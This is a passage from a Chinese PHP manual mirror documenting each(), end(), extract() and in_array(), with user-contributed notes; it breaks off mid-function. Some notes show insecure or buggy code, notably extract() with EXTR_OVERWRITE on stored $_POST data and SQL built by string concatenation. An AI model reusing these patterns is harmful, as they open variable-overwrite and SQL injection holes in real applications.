$bar 现在包含有如下的键／值对：

Array
{
    [1] => bob
    [value] => bob
    [0] => 0
    [key] => 0
}

<?php
$foo = array("Robert" => "Bob", "Seppo" => "Sepi");
$bar = each($foo);
print_r($bar);
?>

$bar 现在包含有如下的键／值对：

Array
{
    [1] => Bob
    [value] => Bob
    [0] => Robert
    [key] => Robert
}

each() 经常和 list() 结合使用来遍历数组，例如：

例子 2. 用 each() 遍历数组

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');
reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

上例将输出：

a => apple
b => banana
c => cranberry

在执行 each() 之后，数组指针将停留在数组中的下一个单元或者当碰到数组结尾时停留在最后一个单元。如果要再用 each 遍历数组，必须使用 reset()。

注意

因为将一个数组赋值给另一个数组时会重置原来的数组指针，因此在上边的例子中如果我们在循环内部将 $fruit 赋给了另一个变量的话将会导致无限循环。

参见 key()，list()，current()，reset()，next()，prev() 和 foreach。

add a note add a note User Contributed Notes
scin
04-May-2006 11:29
Regarding the user who states that foreach is faster, this depends on the size of the array you are dealing with.

On large arrays while(list($key, $val) = each($array) is considerably faster, as in 10x faster with arrays that number in the millions of elements.
sjoerd-php at linuxonly dot nl
31-Mar-2006 10:04
Use foreach instead of while, list and each. Foreach is:
- easier to read
- faster
- not influenced by the array pointer, so it does not need reset().

It works like this:
<?php
$arr = array('foo', 'bar');
foreach ($arr as $value) {
   echo "The value is $value.";
}

$arr = array('key' => 'value', 'foo' => 'bar');
foreach ($arr as $key => $value) {
   echo "Key: $key, value: $value";
}
?>
matthew at mhalls dot net
05-Dec-2005 07:58
To panania at 3ringwebs dot com:

If you know for certain that you are only receiving one row, the while becomes redundant. To shorten your code:

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
list($key, $val) = mysql_fetch_row($RecordsetSelect);
echo "$key => $val\n";
mysql_free_result($RecordsetSelect);

With only one row being returned this is more elegant a solution, but just being nit-picky in essence. It also shows another quick way of using list.
amby2 at izh dot com
25-Nov-2005 01:55
I've found a compact way to cycle through an associative array using for statement (not while, as it has been done in the most of examples below):

<?php

for (reset($array); list($key) = each($array);) {
  echo $key;
  echo $array[$key];
}

?>

or

<?php

for (reset($array); list($key, $value) = each($array);) {
  echo $key;
  echo $value;
  echo $array[$key];
}

?>

You hardly forget to add reset($array) code line using such construction.
Sopinon
23-Jul-2005 08:17
If you want to display the hole structure (tree) of your array, then you can use this recursive solution.

<?PHP
$tree= "";
array_tree($your_array);
echo $tree;

// Recursive Function
function array_tree($array, $index=0){
   global $tree;
   $space="";
   for ($i=0;$i<$index;$i++){
       $space .= "    ";
   }
   if(gettype($array)=="array"){
       $index++;
       while (list ($x, $tmp) = each ($array)){
           $tree .= $space."$x => $tmp\n";
           array_tree($tmp, $index);
       }
   }
}
?>
james at gogo dot co dot nz
02-Nov-2004 11:29
It's worth noting that references to an array don't have thier own array pointer, and taking a reference to an array doesn't reset it's array pointer, so this works as you would expect it would by eaching the first three items of the array, rather than the first item 3 times.

<?php
  $x = array(1,2,3);

  print_r(each($x));
  echo "\n";

  $y =& $x;
  print_r(each($y));
  echo "\n";

  $z =& $y;
  print_r(each($z));
  echo "\n";
?>
panania at 3ringwebs dot com
01-Jan-2004 09:51
The last method for record sets is great if you don't know the number of rows returned from a query, but if you do there's an easier way...

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
$row_Recordset1 = mysql_fetch_assoc($RecordsetSelect);
while (list($key, $val) = each($row_Recordset1)) {
   echo "$key => $val\n";
}
mysql_free_result($RecordsetSelect);

Here we know that only 1 record will be returned because of the WHERE criteria. (Of course this is dependent on you own DB schema.)
wodzuY2k at anronet dot pl
05-Aug-2002 03:41
This function will help you dump any variable into XML structure.

       //dump var into simple XML structure
       function var_dump_xml($tagname,$variable,$level=0)
         {
           for($i=0;$i<$level;$i++) $marg.=' ';
           if (eregi('^[0-9].*$',$tagname)) $tagname='tag_'.$tagname; //XML tag cannot start with [0-9] character
           if (is_array($variable))
             {
               echo $marg."<$tagname>\n";
               while (list ($key, $val) = each ($variable))  var_dump_xml($key,$val,$level+1);
               echo $marg."</$tagname>\n";
             }
           elseif (strlen($variable)>0)
             {
                 echo $marg."<$tagname>".htmlspecialchars($variable)."</$tagname>\n";
             };
         };

       /*
       example:

       $myVar = array("name"=>"Joe", "age"=>"26", "children"=>array("Ann","Michael"));
       var_dump_xml("myVarTag",$myVar);
       */
Gillis at dancrea dot com
27-May-2002 01:13
I wrote a short and pretty simple script to search through associative arrays for some value in the values, heres a simplifyed example of it:

<?php

$foo['bob'] = "bob is ugly";
$foo['bill'] = "bill is rich";
$foo['barbie'] = "barbie is cute";
$search = "rich";

echo "searching the array foo for $search:<br>";
reset ($foo);
while (list ($key, $val) = each ($foo)) {
if (preg_match ("/$search/i", $val)) {
   print "A match was found in $key.<br />";
} else {
   print "A match was not found in $key.<br />";
}
}

?>

will output:
Searching the array foo for rich:
A match was not found in bob
A match was found in bill
A match was not found in barbie
wodzuY2k at anronet dot pl
09-May-2002 12:40
Yet another useful example of how to make globals out of the config file.

config file:
[section1]
 value=foo

PHP result :
variable: $section1_value=foo;

function servicesConfig_makeGlobals()
 {
   global $servicesConfig;
   $servicesConfig = parse_ini_file("servicesConfig.conf", TRUE);
   reset($servicesConfig);
   while (list ($section, $section_val) = each ($servicesConfig))
     {
         reset($servicesConfig[$section]);
       while (list ($key, $val) = each ($servicesConfig[$section]))
         {
           $GLOBALS[$section.'_'.$key]=$val;
         };
     };
 };
13-Feb-2002 08:10
I usually work a lot with 2D arrays. Since I've had some trouble traversing them correctly maybe someone out there also experienced those problems and can use this one.

It's based on a 2D-array called $array[$x][$y]. At some (but not necessarily all) (x,y) there is a value I want to reach. Note that I do not know beforehand the ranges of $x or $y (that is their highest and lowest values).

while (list ($x, $tmp) = each ($array)) {
   while (list ($y, $val) = each ($tmp)) {
     echo "$x, $y, $val";
   }
}

The answer for each (x,y) pair can thus be (providng, of course those values where in your array beforehand):

1, 1, 2
2, 2, 0
3, 1, 1
5, 2, 2
5, 1, 2

Note that only the (x,y) pairs with a corresponding value is shown.

Hang in there
Jon Egil Strand
NTNU
tk at turtle-entertainment dot de
30-Jan-2001 03:33
Be sure to use the integrated functions "unset();" or "reset();" - many people forget this and wonder about the created output!
kris at angelanthony dot com
26-Oct-2000 04:03
Remember to use "reset()" if you iterate over an array with "each()" more than once!  Example:

while(list($key,$value) = each($array)){
 // code here
}

NOW the internal pointer on $array is at the end of the array, and another attempt at an iteration like the one above will result in zero executions of the code within the "while" block.  You MUST call "reset($array)" to reset the internal array pointer before iterating over the array again from the first element.
aryn at aryn dot nu
29-Jul-2000 11:34
one way to get variables out of an array dynamically, while skipping the keys is this:

while( list($key,$value)=each($foo)) {
  if (!is_int($key)) {
   echo "$"."$key: $value\n";
   $$key = $value;
  }
}
(the echo line is just for displaying what is variables are getting set; ie: not needed.)
phpmanual at devin dot com
15-Jul-2000 08:26
Note further that each() performs a shallow copy
of the value side of an (assoc) array; if you need to iterate on deep structures, something like:<br>
reset($A); while (list($k,) = each($A)) {<br>
   $elem = &$A[$k];<br>
   /* ... */<br>
}<br>
Is needed.  Copy construction would be handy to have here.
ellenzhg at hotmail dot com
30-Mar-2000 04:06
<?php
//each.php

$foo = array( "Robert" => "Bob", "Seppo" => "Sepi" );
$bar = each( $foo );
$k = implode(array_keys($bar),",");
$v = implode(array_values($bar),",");
echo $k ."<br>";
echo $v;
?>

output:
1,value,0,key
Bob,Bob,Robert,Robert
Above example only be interpretered by PHP4.
ridcully at magnet dot at
22-Mar-2000 10:03
To output all entries of an array $a, do this

reset ($a);
while( $res=each($a) )
{
  echo "$res[1]<br>";
};

If you need the keys too, it's in $res[0].
pyxl at dont_spam_on_me dot jerrell dot com
16-Feb-2000 07:41
Ok, for you folks who are learning this, here's something that should help your comprehension of each(), because I bashed my brains for a while on this one.<br><br>
The first example indicates that each() spits out a 4-cell 1 dimensional array.  This is all fine and dandy until you get to the second example, where that seems to be thrown out the window, because though each() is still spitting out 4 array elements, the list() being used is set up to only accept 2 values, as it's being executed with only wo variables in it!<br><br>
For some folks, this might not be a problem, but I couldn't understand the mismatch - why was it done, and where did the array go that each() generated??  Well, upon executing that code, it turns out that the first two array elements of the 4 element array that each() creates are assigned to those two variables, and the last two array element values are just thrown away - they're totally ignored.  It's how PHP is written.<br><br>
Now, why do that?  Well, the example was definitely written more to show folks how to use each() to make life much easier when dealing with a particular operations array in PHP that a lot of people work with, but it also has the side effect (which hopefully my little explaination has made more palatable) of demonstrating how each() can act when being used with other functions that don't necessarily want all of each()'s input.
steve at juggler dot net
08-Feb-2000 05:02
As of PHP 4.0b3, the interpreter's not quite smart enough to manage the following:
while(list($k,$v)=each(array("first","second","third")) {

Instead, use:
$ary=array("first","second","third");
while (list($k,$v)=each($ary)) {
php-traversing-matrices at mark dot datasys dot net
29-Nov-1999 12:47
Traversing multidimensional arrays is
easy, especially if you know how many dimensions are involved. Suppose you have a structure returned from a database query, such as

$returned_rows[$row_number][$field_name]

To walk through each field, you
might try this:

while (
   list($row_number, $row_array)
     = each($query_result_array)
   ) {
   while (
     list($field_name, $field_value)
       = each($row_array)
   ) {
     ##
     ## $row_number has the
     ## current row number,
     ## $field_name hsa the current
     ## field' name,
     ## $field_value has the current          ## field's value
   }
  }
}
add a note add a note

后退 | 起点 | 前进
current | 上一级 | end


end

(PHP 3, PHP 4, PHP 5)

end -- 将数组的内部指针指向最后一个单元

说明

mixed end ( array &array )

end() 将 array 的内部指针移动到最后一个单元并返回其值。

例子 1. 简单的 end() 例子

<?php
$fruits = array('apple','banana','cranberry');
echo end($fruits); // cranberry
?>

参见 current()，each()，prev()，next() 和 reset()。

add a note add a note User Contributed Notes
Flavio Ventura
30-Nov-2005 12:02
In some previous post you can use

current($array)

 instead of

$array[key($array)]

I think it's more self-explaining.
ken at expitrans dot com
28-Oct-2005 12:02
Please note that from version 5.0.4 ==> 5.0.5 that this function now takes an array. This will possibly break some code for instance:

<?php

echo ">> ".end(array_keys(array('x' => 'y')))."\n";

?>

which will return "Fatal error: Only variables can be passed by reference" in version <= 5.0.4 but not in 5.0.5.

If you run into this problem with nested function calls, then an easy workaround is to assign the result from array_keys (or whatever function) to an intermediary variable:

<?php

$x = array_keys(array('x' => 'y'));
echo ">> ".end($x)."\n";

?>
mika dot stenberg at helsinki dot fi
11-Aug-2005 09:24
Here's something useful with arrays that I did: change an items position up or down in array. Thanks to previous posters for some useful functions (included):

// $mode -1 (negat) moves the item down, +1 (pos) moves the item up
// I used this because i parsed the mode from the query string
// You get the picture though
// $from_id points which item to move

function change_pos($array, $from_id, $mode){

// get hold of the beginning and the end
$start = first($array);
$end = last($array);

reset($array);

// find the position in an array
array_set_current($array, $from_id);

// remember the old value
$temp = $archive[ $from_id ];

// move down

if ($uusi_id < 0){

   if (key($array) != $end) {

           $array[ $from_id ] = next($array);
           $array[key($aray)] = $temp;
         }
   else echo "Couldnt move it!";
}

// move up
else if ( key($array) != $start ) {

   $array[ $from_id ] = prev($array);
   $array[key($array)] = $temp;
   save($array);
   }
else echo "Couldnt do it !";

}

function array_set_current(&$array, $key){
   reset($array);
   while(current($array)){
       if(key($array) == $key){
           break;
       }
       next($array);
   }
}

function first(&$array) {
if (!is_array($array)) return null;
if (!count($array)) return null;
reset($array);
return key($array);
}

function last(&$array) {
if (!is_array($array)) return null;
if (!count($array)) return null;
end($array);
return key($array);
}
12-May-2005 04:21
Fix for unknown writer of 29-aug-2002.
If you need to get a reference to the first or last element of an array, use these functions:

   function &first(&$array) {
       if (!is_array($array))
           return null;
       if (!count($array))
           return false; // like reset()
       reset($array);
       return $array[key($array)];
   }

   function &last(&$array) {
       if (!is_array($array))
           return null;
       if (!count($array))
           return false; // like end()
       end($array);
       return $array[key($array)];
   }

Example (watch out - use as &last() and &first()):

$a = array( 0 => 'less', 10 => 'ten', 20 => ' more');

if ($first = & first($a)) // not false or null
   $first = 'nothing';
if ($last = & last($a)) // not false or null
   $last = 'double';

Now $a is array( 0 => 'nothing', 10 => 'ten', 20 => ' double')
user at mail dot com
02-Mar-2005 11:29
It may be obvious, but if the array is empty, end() returns bool(false).
29-Aug-2002 09:34
If you need to get a reference on the first or last element of an array, use these functions because reset() and end() only return you a copy that you cannot dereference directly:

function first(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
reset($array);
return &$array[key($array)];
}

function last(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
end($array);
return &$array[key($array)];
}
29-Aug-2002 09:17
When adding an element to an array, it may be interesting to know with which key it was added. Just adding an element does not change the current position in the array, so calling key() won't return the correct key value; you must first position at end() of the array:

function array_add(&$array, $value) {
$array[] = $value; // add an element
end($array); // important!
return key($array);
}
add a note add a note

后退 | 起点 | 前进
each | 上一级 | extract


extract

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

extract -- 从数组中将变量导入到当前的符号表

说明

int extract ( array var_array [, int extract_type [, string prefix]] )

本函数用来将变量从数组中导入到当前的符号表中。接受结合数组 var_array 作为参数并将键名当作变量名，值作为变量的值。对每个键／值对都会在当前的符号表中建立变量，并受到 extract_type 和 prefix 参数的影响。

注: 自版本 4.0.5 起本函数返回被提取的变量数目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引进的。

注: EXTR_REFS 是版本 4.3.0 中引进的。

extract() 检查每个键名看是否可以作为一个合法的变量名，同时也检查和符号表中已有的变量名的冲突。对待非法／数字和冲突的键名的方法将根据 extract_type 参数决定。可以是以下值之一：

EXTR_OVERWRITE

如果有冲突，覆盖已有的变量。

EXTR_SKIP

如果有冲突，不覆盖已有的变量。

EXTR_PREFIX_SAME

如果有冲突，在变量名前加上前缀 prefix。

EXTR_PREFIX_ALL

给所有变量名加上前缀 prefix。自 PHP 4.0.5 起这也包括了对数字索引的处理。

EXTR_PREFIX_INVALID

仅在非法／数字的变量名前加上前缀 prefix。本标记是 PHP 4.0.5 新加的。

EXTR_IF_EXISTS

仅在当前符号表中已有同名变量时，覆盖它们的值。其它的都不处理。可以用在已经定义了一组合法的变量，然后要从一个数组例如 $_REQUEST 中提取值覆盖这些变量的场合。本标记是 PHP 4.2.0 新加的。

EXTR_PREFIX_IF_EXISTS

仅在当前符号表中已有同名变量时，建立附加了前缀的变量名，其它的都不处理。本标记是 PHP 4.2.0 新加的。

EXTR_REFS

将变量作为引用提取。这有力地表明了导入的变量仍然引用了 var_array 参数的值。可以单独使用这个标志或者在 extract_type 中用 OR 与其它任何标志结合使用。本标记是 PHP 4.3.0 新加的。

如果没有指定 extract_type，则被假定为 EXTR_OVERWRITE。

注意 prefix 仅在 extract_type 的值是 EXTR_PREFIX_SAME，EXTR_PREFIX_ALL，EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。如果附加了前缀后的结果不是合法的变量名，将不会导入到符号表中。

extract() 返回成功导入到符号表中的变量数目。

警告

不要对不能信任的数据使用 extract()，例如用户的输入（$_GET，...）。如果这样做，举例说，要临时运行依赖于 register_globals 的老代码，要确保使用不会覆盖的 extract_type 值，例如 EXTR_SKIP，并且要留意应该按照 php.ini 中由 variables_order 定义的顺序来提取。

extract() 的一种可能用法是将 wddx_deserialize() 返回的结合数组中的内容导入到符号表变量中去。

例子 1. extract() 例子

<?php

/* 假定 $var_array 是 wddx_deserialize 返回的数组*/

$size = "large";
$var_array = array("color" => "blue",
                   "size"  => "medium",
                   "shape" => "sphere");
extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

上例将输出：

blue, large, sphere, medium

$size 没有被覆盖，因为指定了 EXTR_PREFIX_SAME，这使得 $wddx_size 被建立。如果指定了 EXTR_SKIP，则 $wddx_size 也不会被建立。EXTR_OVERWRITE 将使 $size 的值为“medium”，EXTR_PREFIX_ALL 将建立新变量 $wddx_color，$wddx_size 和 $wddx_shape。

必须使用结合数组，数字索引的数组将不会产生结果，除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID。

参见 compact()。

add a note add a note User Contributed Notes
nicolas zeh
17-Mar-2006 01:24
This function provides exactly the same functionality as extract except that a parameter was added defining the extract target.
This function can be used if your PHP installation does not support the required Flags or more important if you would like to extract arrays to another destination as to $GLOBALS, i.e. other arrays or objects.
The only difference to extract is that extract_to moves the array pointer of $arr to the end as $arr is passed by reference to support the EXTR_REFS flag.

<?php
   if( !defined('EXTR_PREFIX_ALL') ) define('EXTR_PREFIX_ALL', 3);
   if( !defined('EXTR_PREFIX_INVALID') ) define('EXTR_PREFIX_INVALID', 4);
   if( !defined('EXTR_IF_EXISTS') ) define('EXTR_IF_EXISTS', 5);
   if( !defined('EXTR_PREFIX_IF_EXISTS') ) define('EXTR_PREFIX_IF_EXISTS', 6);
   if( !defined('EXTR_REFS') ) define('EXTR_REFS', 256);

   function extract_to( &$arr, &$to, $type=EXTR_OVERWRITE, $prefix=false ){

       if( !is_array( $arr ) ) return trigger_error("extract_to(): First argument should be an array", E_USER_WARNING );

       if( is_array( $to ) ) $t=0;
       else if( is_object( $to ) ) $t=1;
       else return trigger_error("extract_to(): Second argument should be an array or object", E_USER_WARNING );

       if( $type==EXTR_PREFIX_SAME || $type==EXTR_PREFIX_ALL || $type==EXTR_PREFIX_INVALID || $type==EXTR_PREFIX_IF_EXISTS )
           if( $prefix===false ) return trigger_error("extract_to(): Prefix expected to be specified", E_USER_WARNING );
           else $prefix .= '_';

       $i=0;
       foreach( $arr as $key=>$val ){

           $nkey = $key;
           $isset = $t==1 ? isset( $to[$key] ) : isset( $to->$key );

           if( ( $type==EXTR_SKIP && $isset )
               || ( $type==EXTR_IF_EXISTS && !$isset ) )
                   continue;

           else if( ( $type==EXTR_PREFIX_SAME && $isset )
               || ( $type==EXTR_PREFIX_ALL )
               || ( $type==EXTR_PREFIX_INVALID && !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $key ) ) )
                   $nkey = $prefix.$key;

           else if( $type==EXTR_PREFIX_IF_EXISTS )
               if( $isset ) $nkey = $prefix.$key;
               else continue;

           if( !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $nkey ) ) continue;

           if( $t==1 )
               if( $type & EXTR_REFS ) $to->$nkey = &$arr[$key];
               else $to->$nkey = $val;
           else
               if( $type & EXTR_REFS ) $to[$nkey] = &$arr[$key];
               else $to[$nkey] = $val;

           $i++;
       }

       return $i;
   }

   // e.g.:
   extract_to( $myarray, $myobject, EXTR_IF_EXISTS );
?>
owk dot ch199_ph at gadz dot org
08-Mar-2006 08:21
And if you want with PHP 5 an easy way to extract $V by reference, try this :
<?php
   foreach ($V as $k => &$v) {
       $$k =& $v;
   }
?>
It can be used to create special kind of "free args" functions that let you choose when you call them the way you send variables, and which ones. They are moreover very fast to call thanks to references :
<?php
   function free_args (&$V) {
       foreach ($V as $k => &$v) {
           $$k =& $v;
       }
       unset ($k);  unset ($v);  unset ($V);

       // be careful that if you need to extract $k, $v or $V variables you should find other names for them in the lines above (ie. $__k, $__v and $__V)
   }

   $huge_text = '...';

   $a = array ('arg1' => 'val1', 'arg2' => &$huge_text); // in this call, only $arg2 will be a true reference in the function
   free_args ($a);
?>
Be warned that you can't write : "<?php free_args (array ('arg1' => 'val1')); ?>" because the array can't be referenced by the function, as it's not yet created when the function starts.
moslehi<atsign>gmail<d0t>c0m
21-Jan-2006 05:32
Experimentally I found that calling extract() also shows the number of keys if the key is set and is not numeric ! Maybe there was a better definition than mine  . Please have a look to this scripts :

<?PHP
$var["i"] = "a";
$var["j"] = "b";
$var["k"] = 1;
echo extract($var); // returns 3
?>

<?PHP
$var2["i"] = "a";
$var2[2] = "b";
$var2[] = 1;
echo extract($var2); // returns 1
?>

(Arash Moslehi)
Csaba at alum dot mit dot edu
28-Nov-2005 03:41
Sometimes you may want to extract only a named subset of the key/value pairs in an array.  This keeps things more orderly and could prevent an unrelated variable from getting clobbered from an errant key.  For example,

$things = 'unsaid';
$REQUEST = array(He=>This, said=>1, my=>is, info=>2, had=>a,
                 very=>3, important=>test, things=>4);
$aVarToExtract = array(my, important, info);
extract (array_intersect_key ($REQUEST, array_flip($aVarToExtract)));

will extract
$my = 'is';
$important = 'test';
$info = 2;

but will leave certain
$things = 'unsaid'

Csaba Gabor from Vienna
NB.  Of course the composite request coming in from a web page is in $_REQUEST.
anon at anon dot org
31-May-2005 03:02
A warning about extract() and null values.

This might be an actual Zend2 Engine bug, but it's bad programming practice, so I'm sharing it here instead.

I often work in envrionments where E_STRICT (which would prevent errors like this) isn't on, and I don't have access to change it. I also use a very simple template class that in a nutshell works like this:

$t = new Template('somefile.php');
$t->title = $title;
$t->body = $body;
$t->display();

display() more or less looks like this:

function display(){
   extract(get_object_vars($this),EXTR_REFS);
   ob_start(); include $this->templateFileName;
   return ob_get_clean();
}

If any of the assigned values are null (let's say that in this case $title wasn't initialized above) it causes the engine to do all sorts of incredibly whacky stuff like certifiably lose track of variables in an incredibly inconsistent way. I traced the problem down to the fact that it's using the EXTR_REFS flag. I assume that in PHP's internal variable storage or reference counting mechanism, that trying to extract null references makes it lose track or count of something or rather.

In a nutshell, if you start getting wierd behavior when using extract() make sure that the array or object you are trying to get variables out of doesn't contain null keys or values!
kake26 at gmail dot com
01-May-2005 11:59
The following is a neat use for extract to store and manipulate large amounts of form data from. I basically loop through the $_POST and implode it seperating the key and value pairs by a space. Then store it in a db, the reversing function basically explodes the string to a array. Then converts the indexed array to a associative array then uses extract to seal the deal and make it easily available within a program. My main reason for sharing these are the fact I make some big web applications that store allot of forum data in a DB and these functions make it very easy to quickly and easily store and recall the data. I've contributed it because I spent many hours creating this code and recall going "I wish someone had previously submitted it to the page notes". Would have saved me allot of time and agony and I'm sure I'm not the only person that could really benefit from it, so I decided to share.

<?php
$stack = array();
foreach ($_POST as $key => $value) {
array_push($stack, $key, $value);
}
// store it
$block = implode(" ",$stack); // yeilds a space delimited string
// insert query to store string in DB here, like the one below
$query = "INSERT INTO `sometable` VALUES('".$seluser."','".addslashes($block)."');";
$result = mysql_query($query) or die("Query failed for block insert: " . mysql_error());
// note $seluser in my case is a user ID associated with that block
// in one of my web apps
?>

The nice thing is with the above we can quickly create a string of key and value pairs from the data the script got. Without really caring what their names are. You know how if register globals are on you say $someformvar rather than $_POST["someformvar"]; , basically the code below reads this previous created block returns it to that state. Sort of like presistant register globals.

<?php
// insert query to grab the previously stored string here
$query = "SELECT * FROM `sometable` WHERE `blockid` = '".addslashes($bid)."';";
$result = mysql_query($query) or die("Query failed read: " . mysql_error());
$sql = mysql_fetch_array($result, MYSQL_ASSOC);
$array = eplode(" ",$sql["data"]);
for ($i = 0; $i < sizeof($array); $i+=2) {
$myassoc[$array[$i]] = isset($array[$i+1])?$array[$i+1]:NULL;
}
extract($myassoc, EXTR_OVERWRITE);
// now you're key and value pairs from $_POST have been restored
// instead of $_POST
?>
pg dot perfection at gmail dot com
15-Mar-2005 06:33
Here is a little example of how an extraction method should look like when it needs to work recursive (work on nested_arrays too)...

Note that this is only an example, it can be done more easily, and more advanced too.

<?php
/**
 * A nested version of the extract () function.
 *
 * @param    array    $array        The array which to extract the variables from
 * @param    int        $type        The type to use to overwrite (follows the same as extract () on PHP 5.0.3
 * @param    string    $prefix        The prefix to be used for a variable when necessary
 */
function extract_nested (&$array, $type = EXTR_OVERWRITE, $prefix = '')
{
   /**
     *  Is the array really an array?
     */
   if (!is_array ($array))
   {
       return trigger_error ('extract_nested (): First argument should be an array', E_USER_WARNING);
   }

   /**
     *  If the prefix is set, check if the prefix matches an acceptable regex pattern
     * (the one used for variables)
     */
   if (!empty ($prefix) && !preg_match ('#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $prefix))
   {
       return trigger_error ('extract_nested (): Third argument should start with a letter or an underscore', E_USER_WARNING);
   }

   /**
     * Check if a prefix is necessary. If so and it is empty return an error.
     */
   if (($type == EXTR_PREFIX_SAME || $type == EXTR_PREFIX_ALL || $type == EXTR_PREFIX_IF_EXISTS) && empty ($prefix))
   {
       return trigger_error ('extract_nested (): Prefix expected to be specified', E_USER_WARNING);
   }

   /**
     * Make sure the prefix is oke
     */
   $prefix = $prefix . '_';

   /**
     *  Loop thru the array
     */
   foreach ($array as $key => $val)
   {
       /**
         *  If the key isn't an array extract it as we need to do
         */
       if (!is_array ($array[$key]))
       {
           switch ($type)
           {
               default:
               case EXTR_OVERWRITE:
                   $GLOBALS[$key] = $val;
               break;
               case EXTR_SKIP:
                   $GLOBALS[$key] = isset ($GLOBALS[$key]) ? $GLOBALS[$key] : $val;
               break;
               case EXTR_PREFIX_SAME:
                   if (isset ($GLOBALS[$key]))
                   {
                       $GLOBALS[$prefix . $key] = $val;
                   }
                   else
                   {
                       $GLOBALS[$key] = $val;
                   }
               break;
               case EXTR_PREFIX_ALL:
                   $GLOBALS[$prefix . $key] = $val;
               break;
               case EXTR_PREFIX_INVALID:
                   if (!preg_match ('#^[a-zA-Z_\x7f-\xff]$#', $key{0}))
                   {
                       $GLOBALS[$prefix . $key] = $val;
                   }
                   else
                   {
                       $GLOBALS[$key] = $val;
                   }
               break;
               case EXTR_IF_EXISTS:
                   if (isset ($GLOBALS[$key]))
                   {
                       $GLOBALS[$key] = $val;
                   }
               break;
               case EXTR_PREFIX_IF_EXISTS:
                   if (isset ($GLOBALS[$key]))
                   {
                       $GLOBALS[$prefix . $key] = $val;
                   }
               break;
               case EXTR_REFS:
                   $GLOBALS[$key] =& $array[$key];
               break;
           }
       }
       /**
         *  The key is an array... use the function on that index
         */
       else
       {
           extract_nested ($array[$key], $type, $prefix);
       }
   }
}
?>
Michael Newton
03-Mar-2005 09:23
They say "If the result is not a valid variable name, it is not imported into the symbol table."

What they should say is that if _any_ of the results have invalid names, _none_ of the variables get extracted.

Under 4.3.10 on Windows 2000, I was pulling some mySQL records, but needed to convert two fields into IP addresses:
<?
extract(mysql_fetch_assoc(mysql_query('SELECT * FROM foo')));
extract(mysql_fetch_assoc(mysql_query('SELECT INET_NTOA(bar) AS bar, INET_NTOA(baz) FROM foo')));
?>

I had forgotten the second AS modifier in the SQL query.  Because it couldn't extract a variable called INET_NTOA(baz) into the symbol table, it didn't do either of them.

(BTW I don't normally stack functions up like that!  Just to make a short example!)
22-Feb-2005 11:31
To make this perfectly clear (hopefully), an underscore is always added when the string is prefixed.
extract(array("color" => "blue"),EXTR_PREFIX_ALL,'');// note: prefix is empty
is the same as
$color='_blue';
Aaron Stone
18-Nov-2004 02:44
If you are working porting an older application, and taking the advice above, extracting only _SERVER, _SESSING, _COOKIE, _POST, _GET, you have forgotten to extract _FILES. Putting _FILES last and using EXTR_SKIP doesn't work because the name of the file upload box is already set as a variable containing only the temporary name of the uploaded file from one of the earlier extracts (I haven't tested to see which one specifically, however). A workaround is to put _FILES last and use EXTR_OVERWRITE. This allows extract to replace that temp-name-only variable with the full array of file upload information.
Adam Monsen <adamm at wazamatta dot com>
03-Oct-2004 08:03
As shown in the example, if your 'prefix' is used, a single underscore is added to the name of the extracted variable. Meaning, a prefix of 'p' becomes a prefix of 'p_', so 'blarg' prefixed would be 'p_blarg'.

If you're not sure what variables you've created through extraction, you can call get_defined_vars() to see all defined variables in the current scope.
add a note add a note

后退 | 起点 | 前进
end | 上一级 | in_array


in_array

(PHP 4, PHP 5)

in_array -- 检查数组中是否存在某个值

说明

bool in_array ( mixed needle, array haystack [, bool strict] )

在 haystack 中搜索 needle，如果找到则返回 TRUE，否则返回 FALSE。

如果第三个参数 strict 的值为 TRUE 则 in_array() 函数还会检查 needle 的类型是否和 haystack 中的相同。

注: 如果 needle 是字符串，则比较是区分大小写的。

注: 在 PHP 版本 4.2.0 之前，needle 不允许是一个数组。

例子 1. in_array() 例子

<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
    echo "Got Irix";
}
if (in_array("mac", $os)) {
    echo "Got mac";
}
?>

第二个条件失败，因为 in_array() 是区分大小写的，所以以上程序显示为：

Got Irix

例子 2. in_array() 严格类型检查例子

<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
    echo "'12.4' found with strict check\n";
}
if (in_array(1.13, $a, true)) {
    echo "1.13 found with strict check\n";
}
?>

上例将输出：

1.13 found with strict check

例子 3. in_array() 中用数组作为 needle

<?php
$a = array(array('p', 'h'), array('p', 'r'), 'o');

if (in_array(array('p', 'h'), $a)) {
    echo "'ph' was found\n";
}
if (in_array(array('f', 'i'), $a)) {
    echo "'fi' was found\n";
}
if (in_array('o', $a)) {
    echo "'o' was found\n";
}
?>

上例将输出：

'ph' was found
  'o' was found

参见 array_search()，array_key_exists() 和 isset()。

add a note add a note User Contributed Notes
musik at krapplack dot de
04-Jun-2006 08:52
I needed a version of in_array() that supports wildcards in the haystack. Here it is:

<?php
function my_inArray($needle, $haystack) {
   # this function allows wildcards in the array to be searched
   foreach ($haystack as $value) {
       if (true === fnmatch($value, $needle)) {
           return true;
       }
   }
   return false;
}

$haystack = array('*krapplack.de');
$needle = 'www.krapplack.de';

echo my_inArray($needle, $haystack); # outputs "true"
?>

Unfortunately, fnmatch() is not available on Windows or other non-POSIX compliant systems.

Cheers,
Thomas
rick at fawo dot nl
09-Apr-2006 11:23
Here's another deep_in_array function, but this one has a case-insensitive option :)
<?
function deep_in_array($value, $array, $case_insensitive = false){
   foreach($array as $item){
       if(is_array($item)) $ret = deep_in_array($value, $item, $case_insensitive);
